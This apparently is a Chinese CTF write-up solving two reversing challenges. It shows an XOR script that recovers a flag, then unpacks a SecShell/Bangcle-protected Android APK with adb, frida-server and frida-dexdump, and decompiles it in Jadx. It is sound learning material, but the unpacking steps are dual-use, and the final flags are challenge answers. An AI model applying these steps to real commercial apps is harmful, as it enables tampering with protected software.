查看 0x403040 处的数据，然后写脚本反推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
buffer = b"hahahaha_do_you_find_me?"

array = [
    0x0E, 0x0D, 0x09, 0x06, 0x13,
    0x05, 0x58, 0x56, 0x3E, 0x06,
    0x0C, 0x3C, 0x1F, 0x57, 0x14,
    0x6B, 0x57, 0x59, 0x0D
]

first_part = bytes(
    buffer[i] ^ array[i]
    for i in range(19)
)

print(first_part)

得到 b'flag{d07abccf8a410c'

回到 main()，程序检查输入长度为 24 字节，还少了 5 字节

在 finally 函数中看到字符串 %tp&: 刚好是 5 字节

pasted_1784281226031_bhgz66.png

假设 ':' XOR key = '}'，则 key 为 0x47

1
2
3
4
5
6
cipher = b"%tp&:"
key = 0x47

tail = bytes(c ^ key for c in cipher)

print(tail)

得到 b'b37a}'

拼接得到 flag{d07abccf8a410cb37a}

bang（梆梆壳 + Frida 动态脱壳 + Jadx 反编译）

pasted_1786202807133_7oi7ij.png

使用 APKiD 识别出加固过，用的是 SecShell/梆梆壳

  • [*] signed.apk!classes.dex*：APKiD 开始扫描 APK 包中的 classes.dex 文件（即 Java/Kotlin 字节码的核心文件）。末尾的 * 表示该文件在 APK 中处于被压缩状态，APKiD 会在内存中实时解压并扫描

  • *|-> anti_vm : possible ro.secure check：在 DEX 字节码中检测到了反虚拟机（Anti-VM）特征，具体表现为检查系统属性 ro.secure

    • ro.secure：Android 系统的只读属性。在生产环境（真机）中通常为 1

  • *|-> compiler : dexlib 2.x：检测到 DEX 文件的编译器版本标记为 dexlib 2.x

  • [*] signed.apk!lib/arm64-v8a/libSecShell.so：libSecShell.so 是百度旗下的 “SecShell” 加固壳（俗称 “百度加固”）的标志性文件名

  • |-> anti_hook : syscalls：在该 SO 库中检测到了反 Hook 机制，具体手段为直接使用系统调用

pasted_1786203271807_x80vr8.png

这里我使用的是 Genymotion 模拟器，安卓版本是 8.1，其自带 adb.exe

1
2
# 列出设备
adb devices

pasted_1786214164956_5b8x77.png

1
2
3
4
5
6
7
8
9
10
11
# 获取 Android 系统版本
adb shell getprop ro.build.version.release

# 获取首选 CPU 架构
adb shell getprop ro.product.cpu.abi

# 获取所有支持的 CPU 架构列表
adb shell getprop ro.product.cpu.abilist

# 获取当前 Shell 执行权限
adb shell id

pasted_1786214419109_9qeb3s.png

将 APK 拖进去运行

pasted_1786225528990_4q9ue9.png

然后查看对应的进程

1
adb shell ps | findstr how

pasted_1786225567345_ejo01q.png

先查壳有没有释放 dex

1
2
3
# /data/data：Android 系统规定的所有应用程序私有数据的根目录
# -type f：只查找普通文件
adb shell "find /data/data/com.example.how_debug -type f | grep -Ei 'dex|jar|apk|00081|secshell'"

pasted_1786225632983_sb3ssd.png

把缓存文件拉回电脑

1
2
3
4
5
6
mkdir dump_cache

# adb pull：拉取到电脑上
adb pull /data/data/com.example.how_debug/.cache/classes.jar dump_cache\classes.jar
adb pull /data/data/com.example.how_debug/.cache/oat/x86/classes.vdex dump_cache\classes.vdex
adb pull /data/data/com.example.how_debug/.cache/oat/x86/classes.odex dump_cache\classes.odex

pasted_1786226073395_6z5fph.png

结果发现都是被混淆加密的文件

pasted_1786226554017_tg482z.png

使用 frida 工具，提前下载好 frida-server-17.17.0-android-x86.xz，解压后把它改名成 fs 放到附件目录中

1
2
3
4
5
6
# adb push：电脑 → 手机的传输命令
adb push fs /data/local/tmp/fs
adb shell chmod 755 /data/local/tmp/fs

# 启动 Frida Server
adb shell /data/local/tmp/fs &

运行后需要开另一个终端看能不能连接上

1
2
# 测试列出进程
frida-ps -U

pasted_1786227155690_hj6g5s.png

其中 2458 how_debug 是我们的 APK

1
2
3
4
5
# frida-dexdump：基于 Frida 的动态脱壳工具
# -U：指定通过 USB 连接设备
# -p 2458：指定目标进程的 PID 为 2458
# -o dumpdex：指定输出文件夹的名称为 dumpdex
frida-dexdump -U -p 2458 -o dumpdex

成功 dump 两个 dex，分别是 classes.dex 和 classes2.dex

pasted_1786227401419_aamn1r.png

使用 Jadx 反编译拿到 flag

pasted_1786227597090_yiw9f1.png